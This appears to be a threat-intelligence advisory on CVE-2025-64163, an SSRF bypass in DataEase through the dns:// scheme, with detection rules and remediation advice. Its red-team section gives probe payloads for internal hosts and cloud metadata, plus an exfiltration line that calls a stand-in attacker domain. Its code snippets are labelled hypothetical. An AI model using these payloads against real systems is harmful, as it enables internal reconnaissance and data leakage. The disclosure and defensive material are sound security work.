CVE-2025-64163

Executive Summary

CVE-2025-64163 is a Server-Side Request Forgery (SSRF) vulnerability in DataEase, an open-source data visualization and analysis tool. The vulnerability exists in versions 2.10.14 and below. The vendor implemented a blacklist to block ldap:// and ldaps:// protocols to prevent SSRF attacks, but failed to include the dns:// protocol in this blacklist. This oversight allows an attacker to bypass the intended protection and perform SSRF attacks using the dns:// protocol. The vulnerability is fixed in version 2.10.15.

Supply Chain & Package Security

DataEase is a Java-based application distributed as a Docker image or via direct download. The vulnerability is in the application's core code, not in a third-party package. However, organizations using DataEase should verify the integrity of their deployment and ensure they are using the official, patched version (2.10.15 or later) from the vendor's official repository.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD assigned, likely pending analysis) Assessed CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N Base Score: 6.5 (Medium)

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) - Limited information disclosure is possible (e.g., internal network scanning).
• Integrity (I): Low (L) - Limited ability to manipulate data (e.g., modifying internal service responses).
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the presence of an SSRF vulnerability in a data visualization tool that may have access to sensitive internal databases and services elevates the risk. An attacker could use this to probe internal networks, access cloud metadata endpoints, or interact with internal services.

Deep Dive & Mechanics

The vulnerability is a classic SSRF bypass via protocol whitelist/blacklist evasion.

1. The Intended Protection: The DataEase developers identified that the application was vulnerable to SSRF attacks via the ldap:// and ldaps:// protocols. To mitigate this, they implemented a blacklist filter that checks user-supplied URLs and blocks requests if the URL starts with ldap:// or ldaps://.

2. The Bypass: The blacklist is incomplete. It does not include the dns:// protocol. The dns:// protocol is a valid URI scheme that can be used to perform DNS lookups. When a Java application (or any application using a URI handler) processes a dns:// URL, it will attempt to resolve the hostname via DNS. This can be abused for SSRF in several ways:

   • DNS Rebinding: An attacker can use a domain that initially resolves to a benign IP but then changes to an internal IP (e.g., 169.254.169.254 for cloud metadata) after the initial DNS lookup.
   • Internal Network Scanning: The attacker can use dns://internal-service.local to trigger a DNS query for an internal hostname. If the internal DNS server resolves it, the attacker can infer the existence of internal services.
   • Blind SSRF: Even if the response is not directly visible, the attacker can use out-of-band (OOB) techniques to exfiltrate data. For example, they could use a dns://attacker-controlled-domain.com to trigger a DNS query to their own server, confirming the SSRF and potentially leaking data in the subdomain.

3. Attack Flow:

   • The attacker identifies a feature in DataEase that accepts a URL (e.g., a data source connection, a webhook, or an image URL).
   • The attacker submits a URL like dns://internal-database.company.internal.
   • The application's blacklist checks for ldap:// and ldaps:// but not dns://, so the URL passes the filter.
   • The application's HTTP client or URI handler processes the dns:// URL, triggering a DNS lookup for internal-database.company.internal.
   • The attacker can observe the DNS query (if they control the DNS server) or infer the existence of the internal service.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.10.14):

// Hypothetical vulnerable code snippet
public boolean isUrlSafe(String url) {
    if (url.startsWith("ldap://") || url.startsWith("ldaps://")) {
        return false;
    }
    return true;
}

Patched Code (>= 2.10.15):

// Hypothetical patched code snippet
public boolean isUrlSafe(String url) {
    if (url.startsWith("ldap://") || url.startsWith("ldaps://") || url.startsWith("dns://")) {
        return false;
    }
    return true;
}

The fix is a simple addition of the dns:// protocol to the blacklist. A more robust approach would be to use a whitelist of allowed protocols (e.g., http://, https://, ftp://) instead of a blacklist.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Exploit the SSRF to scan internal network or access cloud metadata.

Lab Setup:

1. Target: A DataEase instance (version 2.10.14) running on a server with access to an internal network (e.g., 10.0.0.0/24).
2. Attacker Machine: A machine with network access to the DataEase instance.
3. Listener: A DNS server controlled by the attacker (e.g., using dnschef or a public service like interactsh).

Exploitation Steps:

1. Identify the vulnerable endpoint: Find a feature in DataEase that accepts a URL. This could be in the "Add Data Source" or "Webhook" configuration.

2. Craft the payload: Use the dns:// protocol to probe internal services.

   • Internal DNS Probe: dns://internal-service.local
   • Cloud Metadata Probe (AWS): dns://169.254.169.254 (Note: This may not work directly as dns:// expects a hostname, not an IP. An attacker would use a domain that resolves to this IP via DNS rebinding.)
   • OOB Data Exfiltration: dns://[data].attacker.com (where [data] is a placeholder for exfiltrated information, though this is more complex with dns:// alone).

3. Execute the attack: Submit the crafted URL to the vulnerable endpoint.

4. Observe the result:

   • If using an internal hostname, check if the DNS query reaches your internal DNS server.
   • If using an OOB listener, check for incoming DNS queries from the DataEase server.

Example Payload (for a webhook URL field):

dns://internal-db.company.internal

Blue Team (Defensive)

Objective: Detect and prevent exploitation of the SSRF vulnerability.

Detection:

1. Monitor DNS logs: Look for unusual DNS queries originating from the DataEase server, especially queries for internal hostnames or domains that are not typically resolved.
2. Monitor application logs: Look for requests containing dns:// in the URL parameter.
3. Network monitoring: Detect outbound connections from the DataEase server to unusual destinations (e.g., internal IPs, cloud metadata IPs).

Prevention:

1. Patch immediately: Upgrade to DataEase version 2.10.15 or later.
2. Network segmentation: Restrict outbound network access from the DataEase server to only necessary external services. Use a firewall to block access to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing dns:// in URL parameters.
4. Input validation: Implement a whitelist of allowed protocols (e.g., http://, https://) instead of a blacklist.

Indicators of Compromise (IOCs)

• Network IOCs:

  • DNS queries for internal hostnames (e.g., *.internal, *.local, *.company.internal) originating from the DataEase server.
  • DNS queries to attacker-controlled domains.
  • Outbound connections to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the DataEase server.
  • Outbound connections to cloud metadata IPs (169.254.169.254, fd00:ec2::254).

• Application IOCs:

  • Log entries containing dns:// in URL parameters.
  • Error logs related to failed DNS lookups for unusual hostnames.

• File IOCs:

  • Modified configuration files that include dns:// URLs.

Detection Engineering

YARA Rule

rule Detect_DataEase_SSRF_DNS_Protocol {
    meta:
        description = "Detects attempts to exploit CVE-2025-64163 by searching for dns:// protocol in DataEase logs or configuration files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64163"
        severity = "medium"
    strings:
        $dns_protocol = "dns://"
    condition:
        $dns_protocol
}

Sigma Rule

title: DataEase SSRF via DNS Protocol
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-64163 by monitoring for dns:// protocol in web requests to DataEase
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64163
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "dns://"
    condition: selection
falsepositives:
    - Legitimate use of dns:// protocol in other applications (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64163 - DataEase SSRF via DNS Protocol"; flow:to_server,established; content:"dns://"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade DataEase to version 2.10.15 or later. This is the primary and most effective remediation.
2. Network Segmentation: If patching is not immediately possible, restrict outbound network access from the DataEase server. Use a firewall to block all outbound traffic except to explicitly allowed external services (e.g., specific databases, APIs).
3. WAF Rule: Implement a Web Application Firewall rule to block any HTTP requests containing dns:// in the URL.

Long-Term Mitigations:

1. Input Validation: Implement a whitelist of allowed URL protocols (e.g., http://, https://, ftp://) instead of a blacklist. This is a more secure approach.
2. Regular Security Audits: Conduct regular security audits and penetration testing of the DataEase deployment.
3. Monitor for Anomalies: Implement monitoring for unusual DNS queries and outbound network connections from the DataEase server.
4. Stay Updated: Subscribe to DataEase security advisories and apply patches promptly.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For further analysis or support, contact your Valters IT representative.